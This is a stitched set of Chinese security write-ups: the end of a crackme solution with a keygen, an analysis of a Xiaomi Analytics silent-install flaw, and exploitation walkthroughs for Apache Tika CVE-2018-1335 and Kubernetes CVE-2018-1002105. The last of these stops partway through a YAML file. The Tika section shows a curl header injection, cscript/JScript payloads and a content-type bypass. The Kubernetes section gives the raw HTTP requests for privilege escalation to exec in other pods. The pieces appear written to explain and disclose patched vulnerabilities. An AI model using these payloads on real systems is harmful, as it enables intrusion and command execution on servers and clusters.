F9执行到返回，然后F7执行到主模块。可以看到下面有GetTickCount函数，就明白程序GetTickCount函数计时开机动画的启动时间。
分析：
所以，可以将jbe 改成jnb，让它第一次就满足条件，不再比较，就可以了。
改完保存到文件，发现开启动画果然没有了，至此，任务完成。
根据名字算序列号：
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int i, j;
char name[10], s[10];
printf("please input five chars : ");
scanf("%s", name);
for (i = 0; i < 5; i++)
{
s[i] = (name[i] % 10) ^ i;
s[i] = (s[i] + 2) % 10;
}
for (i = 0; i < 5; i++)
{
j = s[i];
while (j < 'A')
{
j += 10;
}
printf("%c", j);
}
printf("\n");
return 0;
}
直接将附件的后缀改为exe即可 不需要解压 | 社区文章 |
# 【技术分享】一探小米Analytics后门
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者： ju4n010**
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
一.前言
根据 [The Hacker News]([http://thehackernews.com/2016/09/xiaomi-android-backdoor.html](http://thehackernews.com/2016/09/xiaomi-android-backdoor.html))
的报道，小米手机定制的ROM中存在后门，可以使得小米在用户的手机上静默安装任意APP。这个后门存在于预装的Analytics应用中，其在后台24小时运行，即便用户删除后任然会再次出现。
刚好用的就是小米的手机，本着学习的态度，用了课余时间分析了一下，看看这个后门是咋回事。
二. 具体分析
通过小米手机的“设置”-> “其他应用管理”，在“全部 ”标签栏中可以查看系统中的全部应用，仔细找确实发现了名叫analytics的应用。
同时通过adb连接后，用ps命令也可以看到这个应用正在运行。
root@dior:/ # ps|grep "analytics"
u0_a75 1711 218 516248 39860 ffffffff 400d68b8 S com.miui.analytics
由于这个应用是预装的系统应用，然后通过`adb
pull`将`/system/app`目录中的AnalyticsCore.apk拿出来，这样就可以反编译apk文件看看这个应用到底做了什么，是不是真的有后门？
由于apk文件也是一个zip结构的文件，我先用7zip打开看了一下，发现没有使用linux
so文件，也就是都是java层的代码，没有native的。这样直接用JEB分析吧。
用JEB打开后看到，一些包中的类名和方法都是a，b，c这样的名字，应该经过了混淆处理。
然后看Manifest文件中的声明的权限和服务
其中有完全的网络访问权限，可以直接安装应用，获得手机状态等。还设置了receiver在手机启动和网络状态改变时获得通知。
然后我通过JEB中Strings一栏查找一些可疑的字符串。发现了一个线程，在runnable接口中定义的run函数中有发送手机信息到远程服务器的行为。这个后来被证明也是后门的关键。
从代码中看到获取了imei，mac，package等信息，发送到[http://sdkconfig.ad.xiaomi.com/api/checkupdate/lastusefulversion](http://sdkconfig.ad.xiaomi.com/api/checkupdate/lastusefulversion)。
返回的是一个json格式的信息。其中关键的有url和md5字段。
我们接下去看看代码是怎么处理这个url和md5的。
g.a(this.B, v0_5.optString("md5"));
g.b(this.B, v4);
g.c(this.B).execute(this.B.bg);
通过`g.a`，`g.b`分别将url和md5的值赋给`this.B`的成员变量，然后启动一个thread处理。
在这个thread中将上面的url去请求一个apk，将它下载到本地。本地保存的地址是自生的cache目录`/data/data/com.miui.analytics/cache/`。
在下载完后，还通过md5对下载的apk进行了校验。
但由于前面的请求是http，我们完全可以拦截改写url和md5的值，将url改写为自己服务器的地址，md5的值只要符合自己服务器中apk的md5即可。
然后通过“g.h(this.B)”安装。最后安装apk的代码就是调用PackageManager进行安装。
可见，代码中虽然通过md5对下载的apk进行了校验，检查了下载apk文件的完整性，但没有检查签名的有效性，如是不是小米的签名。
另外，由于之前的http不安全的传输，使得可以篡改url和md5的值，使得系统根据一个指向我们服务器的url下载恶意的apk，并被安装。
上面的这个过程在系统启动后，网络状态改变，手机唤醒时，都会发生。
只要满足下面的条件，即每每隔24小时触发一次。将上次检查的时间记录在updater.xml文件中。
那么我们改写updater.xml文件中的updateTime值，让时间间隔大于24小时，通过抓包可以很明显的看到此现象。通过中间人攻击可以安装上自己的apk。
root@dior:/data/data/com.miui.analytics # cd shared_prefs
root@dior:/data/data/com.miui.analytics/shared_prefs # cat updater.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<long name="updateTime" value="1475032517252" />
</map>
三. 总结
通过分析，这个“后门”可以实现静默安装任意apk。按更确切的是一个漏洞，有两个关键的缺陷，一是不安全的传输，使用http传输更新关键数据。二是虽然通过md5检查了完整性，但没有检查签名的有效性，确认是小米的签名。
从功能上看，这个analytics更多的是分析数据，应该是小米用于增强用户体验的，但在更新部分的缺陷给了hacker可乘之机。当然是不是故意留下的，大家各自评说吧。 | 社区文章 |
### 一、前言
本文将介绍从一个未公开披露详情的CVE——Apache tika-server
命令注入漏洞到实现攻击的一系列步骤。此CVE编号为[CVE-2018-1335](https://nvd.nist.gov/vuln/detail/CVE-2018-1335)。由于Apache
Tika是开源项目，我能够通过CVE介绍和分析Apache
Tika代码实际情况来获取一些基本信息。虽然一个命令注入漏洞通常是简单明了的，但是在本文你将看到要实现完整的代码执行或命令注入仍需克服一些障碍。这是Java执行系统命令的方法以及Apahce
Tika代码本身的问题导致的。最后，仍然可以通过Windows Script Host (Cscript.exe)来绕过这些限制。
### 二、Apahce Tika简介
> Apache Tika™
> 工具集可以检测和提取上千种不同文件类型（比如PPT,XLS,PDF等）中的元数据和文本。所有的这些类型文件都可以通过一个单独的接口实现解析，这使Tika对搜索引擎的索引，目录分析和翻译等很有帮助。(<https://tika.apache.org/>)
Apache Tika由几个不同的组件组成：一个Java库，命令行工具和一个有自己的REST API的独立服务器（ _tika server_
）。明确针对此独立服务器，通过阅读公开的REST API(<https://wiki.apache.org/tika/TikaJAXRS>)
来开发此漏洞。存在漏洞的Tika版本可以在这里下载：<https://archive.apache.org/dist/tika/tika-server-1.17.jar>
### 三、解读CVE
开始寻找问题之前，我们首先得阅读CVE公告，看看是否存在一些信息可以称为研究的起始点。
原始公告描述如下:
> 在Tika1.18 之前，用户可以发送精心构造的标头至 _tika-server_ ，这些标头能够用来注入一些命令到运行 _tika-server_
> 的服务器的命令行中。此漏洞只影响向不受信用户开放并且运行 _tika-server_ 的服务器。
我们可以从中得到以下信息：
* 1.18版本已修复
* 1.17版本未修复
* 漏洞为命令注入
* 漏洞入口点为标头
* 此漏洞由 _tika-server_ 部分代码造成
有了这些信息，现在我们就有了一个起始点来尝试研究此漏洞。首先我将展示Tikaz已修复和未修复版本的一些信息，尤其是 _tika-server_
部分。然后，使用Java的某些函数代码来实现执行操作系统命令也是一个精彩的部分。最后，我们先假设存在某种HTTP请求，然后查找 _tika-server_
代码中与请求标头有关的部分。
### 四、深入研究
#### 漏洞验证
对tika-server 1.1.7和1.1.8版本的源代码目录执行并行递归`diff`处理，一次只返回一个发生修改的文件。下面是较为关键的一次修改：
由于要找的命令注入漏洞出现在标头部分，而我们的第一个发现在是补丁版本中添加了名为`allowable_header_chars`的代码块，所以这是一个完美的起点。当然，这些代码可能是用来过滤在标头处用于命令注入的字符。
继续往下翻阅是一个庞大的代码块，其中包含一个有趣的的函数`processHeaderConfig`，该函数在1.1.8版本中已被移除修改。它使用某些变量来动态地创建一个方法，该方法设置一些对象的特性并使用HTTP标头执行。
这里是对该函数的描述：
上图展示了不同特性的前缀，并且在代码的起始位置被定义为静态字符串。
因此，我们有一组在请求中能作为HTTP标头的静态字符串，它们通常是用来设置对象的某个特性。对于最后的标头，它似乎是`X-Tika-OCRsomeproperty:
somevalue`形式的，然后`somevalue`转换为类似于`setSomeproperty()`的函数，该函数将被调用并且等于`someValue`初始值。
这里你可以看到这个函数被使用，并且在此请求中会检查标头前缀以确认调用此函数的方式。所需的参数将从这个HTTP请求传入`processHeaderConfig`函数。
查看`processHeaderConfig`的使用方式，可以看到特性是被设置在`TesseractOCRConfig`对象。经过搜寻可能用到对象`TesseractOCRConfig`的位置，我们发现了一个非常有趣的地方：
_tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java_ 。
_TesseractOCRParser.java_
存在函数`doOCR`，该函数从我们刚发现的`TesseractOCRConfig`对象传递配置特性给一个字符串数组，此数组为
**ProcessBuilde** 组建一个命令，然后程序开始运转。
似乎我们快要达成目标了——如果把目前发现的所有信息结合起来，理论上讲我们可以发送一些标头为`X-Tika-OCRTesseractPath: <some
command>`的HTTP请求给服务器，然后这个命令被插入到`cmd`字符并执行。但是，目前唯一的问题是`config.getTesseractPath()`已经被预定给另一个我们无法控制的字符，而`getTesseractProg()`最终变为一个静态字符，`tesseract.exe`。为了解决这个问题，我们尝试把要执行的命令用双引号包裹，但是Windows忽略引号后面的任何附加内容并且只会执行前面的部分。
为了进一步测试，我们先看看 _tika-server_ 文档中关于提取某个文件元数据的说明。
因为OCR全名为Optical Character
Recognition（光学字符识别），用于提取出图像中的文本和内容信息。这里，我将上传图像文件而不是docx，希望它能与`doOCR`函数交互。
组合起来命令为：
curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: \"calc.exe\""
OK，我们做到了——在上传时使用PUT方式发送请求，该请求中HTTP标头`X-Tika-OCRTesseractPath`后端命令用双引号包裹，并且该命令被成功执行。
#### 除了弹出计算器，还能做些别的？
现在，我们只能直接改变应用名称来实现命令执行。这是由于此命令被作为一个数组被传递给Java`ProcessBuilder`，而我们实际上无法运行超过一条命令或者给命令添加一些参数作为单独的字符，否则将无法执行。这是因为在Java中传递一个字符串数组到进
**ProcessBuilder** 或者`runtime.exec`是遵循以下方式：
像`&,<,>,|,` 这一类字符，可以在`cmd.exe`和`/bin/sh`中正常解析，但是 **ProcessBuilder**
不可以并且会忽略掉，所以你不能扩展命令或者参数。使用`X-Tika-OCRTesseractPath: \“cmd.exe /c some
args\`这样简单的命令或者其他的组合无法实现绕过（组合命令）。
让我们回顾`cmd`数组的构建过程，你可以看到我们也可以控制此命令中的多个参数，每个参数都是`config.get*()`这样的形式，但是它们又被其他我们无法控制的子部件控制。
我第一个思路是运行`cmd.exe`，然后把参数 _/C_
换做`config.getLanguage()`，再插入命令代码到`config.getPageSegMode()`并执行。但是并不如意，这没有成功，因为在`doOCR`函数调用之前，名为`config.getTesseractPath()`的字符已经调用了另一个函数（我们修改后的命令）并且只会执行该命令（为了验证正在调用的应用是否有效）。这里的问题是它只会运行`cmd.exe`（不包括后续参数）从而导致服务器暂时挂起，因为`cmd.exe`不会结束，所以后续的`doOCR`函数不会执行。
#### 解决方案
在实现运行多个命令之前，让我们使用[Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)（一款Windows进程监视器）来看看当`doCOR`函数开启进程时内部发生了什么。
_tika-server_ 开启后查看此进程属性，以下命令是注入命令构造的结果：
"calc.exe"tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l eng -psm 1 txt -c preserve_interword_spaces=0
在命令行中，我们能够控制的有三部分`"calc.exe"`，`3299124493942985299.tmp`和`7317860646082338953.tmp`。这三个地方我们可以注入一些东西，包括一个命令和两个参数。我们发现了其他有趣的事，Tika的确会创建两个temp文件，但是只有一个是作为第一个参数被传递。
经过进一步调查，我可以确认能够传递命令的第一个temp文件的内容等于我上传的文件。因此，我应该可以使用某些代码或者命令填充该上传文件，并且发生执行。
那么现在，我需要一个Windows本地程序，该程序可以忽略掉 _tika-server_
创建的一些离散的参数，并且即使文件后缀为.tmp也可以把它的文件内容当作某个代码或者命令来执行。要想找到这类程序听起来似乎不太可能。但是当我看过了
_<https://github.com/api0cradle/LOLBAS>_
中的LOLBins部分后，我觉得我的运气来了，我遇到了[Cscript.exe](https://github.com/api0cradle/LOLBAS/blob/master/OSBinaries/Cscript.md)，该程序似乎有点希望。让我们来看看Cscript
能做些什么吧。
Cscript证明了它就是我们所需的（程序）。它将第一个参数视为脚本，允许你使用`//E:engine`标识来指定你要用的脚本引擎（可能是Jscript或者VBS），所以我们不需要考虑文件类型了。放入新命令到cscript中，查看结果：
"cscript.exe"tesseract.exe C:\Users\Test\AppData\Local\Temp\apache-tika-3299124493942985299.tmp C:\Users\Test\AppData\Local\Temp\apache-tika-7317860646082338953.tmp -l //E:Jscript -psm 1 txt -c preserve_interword_spaces=0
通过HTTP标头可以设置：
X-Tika-OCRTesseractPath: "cscript.exe"
X-Tika-OCRLanguage: //E:Jscript
上传一个“图片”文件，其中包含一些Jscript或者VBS代码：
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c calc.exe');
刚开始上传图像文件时失败了，因为它不是一个有效的图像，其中的特定字节无法被验证。我想到了解决方法，我把`content-type`设置为`image/jp2`，这样图像文件能够绕过Tika的检测然后交由OCR处理。然后，我们就可以成功上传包含Jscript的图像了。
最后，我们把所有有东西结合起来，获得了一个完整的任意命令/jscrpit/vbs代码执行。
### 五、小结
看起来简单的一个命令注入漏洞，要真正地实现利用仍需克服大量困难。寻找越过阻碍的方案过程其实非常有趣。尽管该过程非常困难，但仍然有办法，这再次提醒了（开发者）在构造操作系统命令时千万不能相信用户的输入。Apache官方不建议使用者在不安全环境下运行
_Tika-server_ ，并且暴露给不受信的用户。本文所述漏洞已经修复，现在最新的版本为1.20，如果你仍在使用该服务请立即更新！
Rhino安全实验室已公布该CVE的POC文件：<https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335> | 社区文章 |
# 1 漏洞描述
Kubernetes特权升级漏洞（CVE-2018-1002105）由Rancher Labs联合创始人及首席架构师Darren
Shepherd发现（漏洞发现的故事也比较有趣，是由定位问题最终发现的该漏洞）。该漏洞通过经过详细分析评估，主要可以实现提升k8s普通用户到k8s api
server的权限（默认就是最高权限），但是值的注意点是，这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。
# 2 影响范围
Kubernetes v1.0.x-1.9.x
Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
# 3 漏洞来源
<https://github.com/kubernetes/kubernetes/issues/71411>
<https://mp.weixin.qq.com/s/Q8XngAr5RuL_irRscbVbKw>
# 4 漏洞修复代码定位
## 4.1 常见的修复代码定位手段
一般我们可以通过两种方式快速定位到一个最新CVE漏洞的修复代码，只有找到修复代码，我们才可以快速反推出整个漏洞细节以及漏洞利用方式等。
方法一，通过git log找到漏洞修复代码，例如
git clone https://github.com/kubernetes/kubernetes/
cd ./kubernetes
git log -p
由于本次漏洞针对该CVE单独出了一个补丁版本，所以方法二可能定位修复代码更快速，我们是通过方法二快速定位到漏洞代码。
方法二，通过对最老的fix版本，进行代码比对，快速定位漏洞修复代码
## 4.2 定位CVE-2018-1002105修复代码
如上图所示，我们下载了1.10.10和1.10.11的代码，通过文件比对，发现只有一个核心文件被修改了即：
staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go
综上，我们可以确认，本次漏洞是在upgradeaware.go中进行了修复，修复的主要内容是
增加了获取ResponseCode的方法
// getResponseCode reads a http response from the given reader, returns the status code,
// the bytes read from the reader, and any error encountered
func getResponseCode(r io.Reader) (int, []byte, error) {
rawResponse := bytes.NewBuffer(make([]byte, 0, 256))
// Save the bytes read while reading the response headers into the rawResponse buffer
resp, err := http.ReadResponse(bufio.NewReader(io.TeeReader(r, rawResponse)), nil)
if err != nil {
return 0, nil, err
}
// return the http status code and the raw bytes consumed from the reader in the process
return resp.StatusCode, rawResponse.Bytes(), nil
}
利用该方法获取了Response
// determine the http response code from the backend by reading from rawResponse+backendConn
rawResponseCode, headerBytes, err := getResponseCode(io.MultiReader(bytes.NewReader(rawResponse), backendConn))
if err != nil {
glog.V(6).Infof("Proxy connection error: %v", err)
h.Responder.Error(w, req, err)
return true
}
if len(headerBytes) > len(rawResponse) {
// we read beyond the bytes stored in rawResponse, update rawResponse to the full set of bytes read from the backend
rawResponse = headerBytes
}
并在一步关键判断中限制了获取到的Response必须等于http.StatusSwitchingProtocols（这个在go的http中有定义，StatusSwitchingProtocols
= 101 // RFC 7231, 6.2.2），否则就return true。即本次修复最核心的逻辑是增加了逻辑判断，限定Response
Code必须等于101，如果不等于101则return true，后面我们将详细分析这其中的逻辑，来最终倒推出漏洞。
if rawResponseCode != http.StatusSwitchingProtocols {
// If the backend did not upgrade the request, finish echoing the response from the backend to the client and return, closing the connection.
glog.V(6).Infof("Proxy upgrade error, status code %d", rawResponseCode)
_, err := io.Copy(requestHijackedConn, backendConn)
if err != nil && !strings.Contains(err.Error(), "use of closed network connection") {
glog.Errorf("Error proxying data from backend to client: %v", err)
}
// Indicate we handled the request
return true
}
附上此次commit记录
https://github.com/kubernetes/kubernetes/commit/0535bcef95a33855f0a722c8cd822c663fc6275e
# 5 漏洞分析
## 5.1 漏洞原理分析
下图为本次漏洞修复的最核心逻辑，分析这段代码的内在含义，可以帮助我们去理解漏洞是如何产生的。
代码位置： staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go
在分析漏洞修复逻辑之前，我们需要先看下上图代码中两个Goroutine有什么作用，通过代码注释或者跟读都不难看出这边主要是在建立一个proxy通道。
对比修复前后的代码处理流程，可以发现
修复后：
需要先获取本次请求的rawResponseCode，且判断rawResponseCode不等于101时，return
true，即无法走建立proxy通道。如果rawResponseCode等于101，则可以走到下面两个Goroutine，成功建立proxy通道。
修复前：
由于没有对返回码的判断，所以无论实际rawResponseCode会返回多少，都会成功走到这两个Goroutine中，建立起proxy通道。
综合上述分析结果，不难看出本次修复主要是为了限制rawResponseCode不等于101则不允许建立proxy通道，为什么这么修复呢？
仔细分析相关代码我们可以看出当请求正常进行协议切换时，是会返回一个101的返回码，继而建立起一个websocket通道，该websocket通道是建立在原有tcp通道之上的，且在该TCP的生命周期内，其只能用于该websocket通道，所以这是安全的。
而当一个协议切换的请求转发到了Kubelet上处理出错时，上述api
server的代码中未判断该错误就继续保留了这个TCP通道，导致这个通道可以被TCP连接复用，此时就由api
server打通了一个client到kubelet的通道，且此通道实际操作kubelet的权限为api server的权限。
附：
为了更好的理解，我们可以了解下API Server和Kubelet的基础概念。
(1) k8s API Server
API Server是整个系统的数据总线和数据中心，它最主要的功能是提供REST接口进行资源对象的增删改查，另外还有一类特殊的REST接口—k8s
Proxy API接口，这类接口的作用是代理REST请求，即kubernetes API
Server把收到的REST请求转发到某个Node上的kubelet守护进程的REST端口上，由该kubelet进程负责响应。
(2) Kubelet
Kubelet服务进程在Kubenetes集群中的每个Node节点都会启动，用于处理Master下发到该节点的任务，管理Pod及其中的容器，同时也会向API
Server注册相关信息，定期向Master节点汇报Node资源情况。
# 5.2 漏洞利用分析
所以现在我们需要构造一个可以转发到Kubelet上并处理出错的协议切换请求，这里包含以下三点
## 5.2.1 如何通过API server将请求发送到Kubelet
代码路径：pkg/kubelet/server/server.go
通过跟踪Kubelet的server代码，可以发现Kubelet
server的InstallDebuggingHandlers方法中注册了exec、attach、portForward等接口，同时Kubelet的内部接口通过api
server对外提供服务，所以对API server的这些接口调用，可以直接访问到Kubelet（client -->> API server -->
Kubelet）。
## 5.2.2 如何构造协议切换
代码位置：staging/src/k8s.io/apimachinery/pkg/util/httpstream/httpstream.go
很明显，在IsUpgradeRequest方法进行了请求过滤，满足HTTP请求头中包含 Connection和Upgrade 要求的将返回True。
IsUpgradeRequest返回False的则直接退出tryUpdate函数，而返回True的则继续运行，满足协议协议切换的条件。所以我们只需发送给API
Server的攻击请求HTTP头中携带Connection/Upgrade Header即可。
## 5.2.3 如何构造失败
代码位置：pkg/kubelet/server/remotecommand/httpstream.go
上图代码中可以看出如果对exec接口的请求参数中不包含stdin、stdout、stderr三个，则可以构造一个错误。
至此，漏洞产生的原理以及漏洞利用的方式已经基本分析完成。
# 6 漏洞攻击利用思路
## 6.1 HTTP与HTTPS下的API SERVER
针对此次漏洞，需要说明下，分为两种情况
第一种情况，K8S未开启HTTPS，这种情况下，api server是不鉴权的，直接就可以获取api
server的最高权限，无需利用本次的漏洞，故不在本次分析范围之内。
第二种情况，K8S开启了HTTPS，使用了权限控制（默认有多种认证鉴权方式，例如证书双向校验、Bearer Token
模式等），这种情况下K8S默认是支持匿名用户的，即匿名用户可以完成认证，但默认匿名用户会被分配到 system:anonymous 用户名和
system:unauthenticated
组，该组默认权限非常低，只能访问一些公开的接口，例如<https://{apiserverip}:6443/apis，https://{apiserverip}:6443/openapi/v2等。这种情况下，才是我们本次漏洞利用的重点领域。>
## 6.2 K8S开启认证授权下的利用分析
下面我们梳理下，在K8S已经开启认证授权下，该漏洞是如何利用的。
# 7 漏洞利用演示
## 7.1 满足先决条件
先看下正常请求执行的链路是怎么样的：client --> apiserver --> kubelet
即client首先对apiserver发起请求，例如发送请求 [连接某一个容器并执行exec]
，请求首先会被发到apiserver，apiserver收到请求后首先对该请求进行认证校验，如果此时使用的是匿名用户（无任何认证信息），正如上面代码层的分析结果，api
server上是可以通过认证的，但会授权失败，即client只能走到apiserver而到不了kubelet就被返回403并断开连接了。
所以本次攻击的先决条件是，我们需要有一个可以从client到apiserver到kubelet整个链路通信认证通过的用户。
所以在本次分析演示中，我们创建了一个普通权限的用户，该用户只具有role
namespace（新创建的）内的权限，包括对该namespace内pods的exec权限等，对其他namespace无权限。并启用了Bearer
Token 认证模式（认证方式为在请求头加上Authorization: Bearer 1234567890 即可）。
## 7.2 构造第一次请求
攻击点先决条件满足后，我们需要构造第一个攻击报文，即满足API server
往后端转发（通过HTTP头检测），且后端kubelet会返回失败。先构造一个可以往后端转发的请求，构造消息如下
192.168.127.80:6443
GET /api/v1/namespaces/role/pods/test1/exec?command=bash&stderr=true&stdin=true&stdout=true&tty=true HTTP/1.1
Host: 192.168.127.80:6443
Authorization: Bearer 1234567890
Connection: upgrade
Upgrade: websocket
但是这个消息还不满足我们的要求，因为这个消息到kubelet后可以被成功处理并返回101，然后成功建立一个到我们有权限访问的role下的test容器的wss控制连接，这并不是我们所期待的，我们期待的是获取K8S最高权限，可以连接任意容器，执行任意操作等。
所以我们要改造这个请求，来构造出一个错误的返回，利用错误返回没有被处理导致连接可以继续保持的特性来复用通道打成后面的目的。改造请求如下
192.168.127.80:6443
GET /api/v1/namespaces/role/pods/test1/exec HTTP/1.1
Host: 192.168.127.80:6443
Authorization: Bearer 1234567890
Connection: upgrade
Upgrade: websocket
该请求返回结果为
HTTP/1.1 400 Bad Request
Date: Fri, 07 Dec 2018 08:28:34 GMT
Content-Length: 52
Content-Type: text/plain; charset=utf-8
you must specify at least 1 of stdin, stdout, stderr
为什么这么构造，可以产生失败呢？因为exec接口的调用至少要指定标准输入、标准输出或错误输出中的任意一个（正如前面代码分析中所述），所以我们没有对exec接口进行传参即可完成构造。
## 7.3 构造第二次请求
因为上面错误返回后，API
SERVER没有处理，所以此时我们已经打通了到kubelet的连接，接下来我们就可以利用这个通道来建立与其它pod的exec连接。但是此时如果对kubelet不熟悉的同学在继续攻击是可能会犯这样的错误，例如这样去构造了第二次的攻击报文
GET /api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd64-v2kgb/exec?command=/bin/hostname&input=1&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.127.80:6443
Origin: http://192.168.127.80:6443
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
如果这样发送第二个请求来获取其它无权限pod的exec权限时，返回的结果会是如下所示，且通道继续保留
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Fri, 07 Dec 2018 13:14:50 GMT
Content-Length: 19
404 page not found
这是因为当前的通道我们的消息是会直接被转发到kubelet上，而不需要对API
server发送exec让他来进行api请求解析处理，所以我们的请求地址不应该是/api/v1/namespaces/kube-system/pods/kube-flannel-ds-amd64-v2kgb/exec而应该是如下所示，直接调用kubelet的内部接口即可，如下所示
GET /exec/kube-system/kube-flannel-ds-amd64-v2kgb/kube-flannel?command=/bin/hostname&input=1&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.127.80:6443
Origin: http://192.168.127.80:6443
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
说明下，这个接口中路径的入参是这样的：/exec/{namespace}/{pod}/{container}?command=...
该请求即可获取到我们所期待的结果，如下所示，成功获取到了对其他无权限容器命令执行的结果
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: v4.channel.k8s.io
�pegasus03�#{"metadata":{},"status":"Success"}��
## 7.4 如何获取其它POD信息
在发送第二个报文并完成漏洞攻击的过程中，我们演示攻击了kube-system namespace下的kube-flannel-ds-amd64-v2kgb
pod，那么真实攻击环境下，我们如何获取到其它namespace与pods等信息呢？
因为我们现在已经获取了K8S最高管理权限，所以我们可以直接调用kubelet的内部接口去查询这些信息，例如发送如下请求来获取正在运行的所有pods的详细信息
GET /runningpods/ HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.127.80:6443
Origin: http://192.168.127.80:6443
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
结果如下
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"test1","namespace":"role","uid":"f99e2d0a-f907-11e8-8fb9-000c290f37a1","creationTimestamp":null},"spec":{"containers":[{"name":"test","image":"sha256:17a5ba3b1216ccac0f8ee54568ba256619160ff4020243884bc3ed86bf8ae737","resources":{}}]},"status":{}},{"metadata":{"name":"test","namespace":"role","uid":"d4779abc-f907-11e8-8fb9-000c290f37a1","creationTimestamp":null},"spec":{"containers":[{"name":"test","image":"sha256:17a5ba3b1216ccac0f8ee54568ba256619160ff4020243884bc3ed86bf8ae737","resources":{}}]},"status":{}},{"metadata":{"name":"istio-sidecar-injector-6bd4d9487c-fgkds","namespace":"istio-system","uid":"c4fdf537-f23f-11e8-b2db-000c290f37a1","creationTimestamp":null},...省略
## 7.5 获取K8S权限后如何获取主机权限
这边不再延伸，有兴趣可以具体尝试，例如可以利用K8S新建一个容器，该容器直接挂载系统关键目录，如crontab配置目录等，然后通过写定时任务等方式获取系统权限。
## 7.6 一个细节
补充一个测试利用过程中的坑，让大家提前了解，避免踩坑。
测试构造第二个请求是，直接在目标主机192.168.127.80上执行下面命令找一个pod的基础信息来进行攻击（没有直接调用/runningpods查询）
kubectl get namespace
kubectl -n kube-system get pods
kubectl -n kube-system get pods kube-flannel-ds-amd64-48sj8 -o json
如上图所示，查询返回了3个pod，第一次测试时，直接选择了第一个pod kube-flannel-ds-amd64-48sj8，发送第二个报文后，返回信息如下：
HTTP/1.1 404 Not Found
Date: Fri, 07 Dec 2018 14:24:49 GMT
Content-Length: 18
Content-Type: text/plain; charset=utf-8
pod does not exist
提示pod不存在，这个就很奇怪了，仔细校验接口调用是对的，也不会有权限问题，现在的权限实际就是apiserver的权限，默认是具有所有权限了，namespace和pod信息是直接查询到的也不会有错，怎么会pod不存在？
实际原因是这样的，由于我们攻击发送的第一个报文（用来构建一个到kubelet的通道），连接的是role namespace的test
pod，这个pod实际是在节点3而非当前主机节点1（192.168.127.80）上，所以我们的通道直连接的是节点3上的kubelet，因此我们无法直接访问到其它节点上的pod，而上述查询获取到的第一个pod正好是其它节点上的，导致漏洞利用时返回了404。
# 8 相关知识
由于该漏洞涉及K8S、websocket等相关技术细节，下面简单介绍下涉及到的相关知识，辅助理解与分析漏洞。
## 8.1 K8S权限相关
kubernetes 主要通过 APIServer
对外提供服务，对于这样的系统集群来说，请求访问的安全性是非常重要的考虑因素。如果不对请求加以限制，那么会导致请求被滥用，甚至被黑客攻击。
kubernetes 对于访问 API
来说提供了两个步骤的安全措施：认证和授权。认证解决用户是谁的问题，授权解决用户能做什么的问题。通过合理的权限管理，能够保证系统的安全可靠。
下图是 API 访问要经过的三个步骤，前面两个是认证和授权，第三个是 Admission
Control，它也能在一定程度上提高安全性，不过更多是资源管理方面的作用。
注：
只有通过 HTTPS 访问的时候才会通过认证和授权，HTTP 则不需要鉴权
认证授权基本概念请参考：<https://www.jianshu.com/p/e14203450bc3>
下面以本次测试建立的普通权限用户的过程为例，简单说说明下k8s环境下如何去新建一个普通权限的用户的基本步骤（详情可以参考：<https://mritd.me/2017/07/17/kubernetes-rbac-chinese-translation）>
1、cd /opt/awesome/role/
2、建一个空间，比如说role
kubectl create namespace role
3、创建一个pod
kubectl create -f test_pod.yaml
4、创建RBAC规则，给用户组test赋予了list所有namespaces、在namespace role下list/get pods、在namespace role下get pods/exec的权限
kubectl create -f test_cluster_role.yaml
kubectl create -f test_cluster_role_binding.yaml
kubectl create -f test_role.yaml
kubectl create -f test_role_binding.yaml
5、创建tokens文件/etc/kubernetes/pki/role-token.csv
6、令apiserver开启token-auth-file
在/etc/kubernetes/manifests/kube-apiserver.yaml中加一条--token-auth-file=/etc/kubernetes/pki/role-token.csv
7、等待apiserver重启，这时候就可以用使用curl测试下权限配置是否生效了，例如
curl -k --header "Authorization: Bearer {你配置的token}" https://192.168.127.80:6443/api/v1/namespaces/role/pods以test-role用户来list在namespace role下的pods
相关配置文件
[root@pegasus01 role]# cat test_cluster_role_binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-role
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-role
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test
[root@pegasus01 role]# cat test_cluster_role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: test-role
rules:
- apiGroups:
- ""
resources:
- namespaces
verbs:
- get
- list
- watch
[root@pegasus01 role]# cat test_pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: test
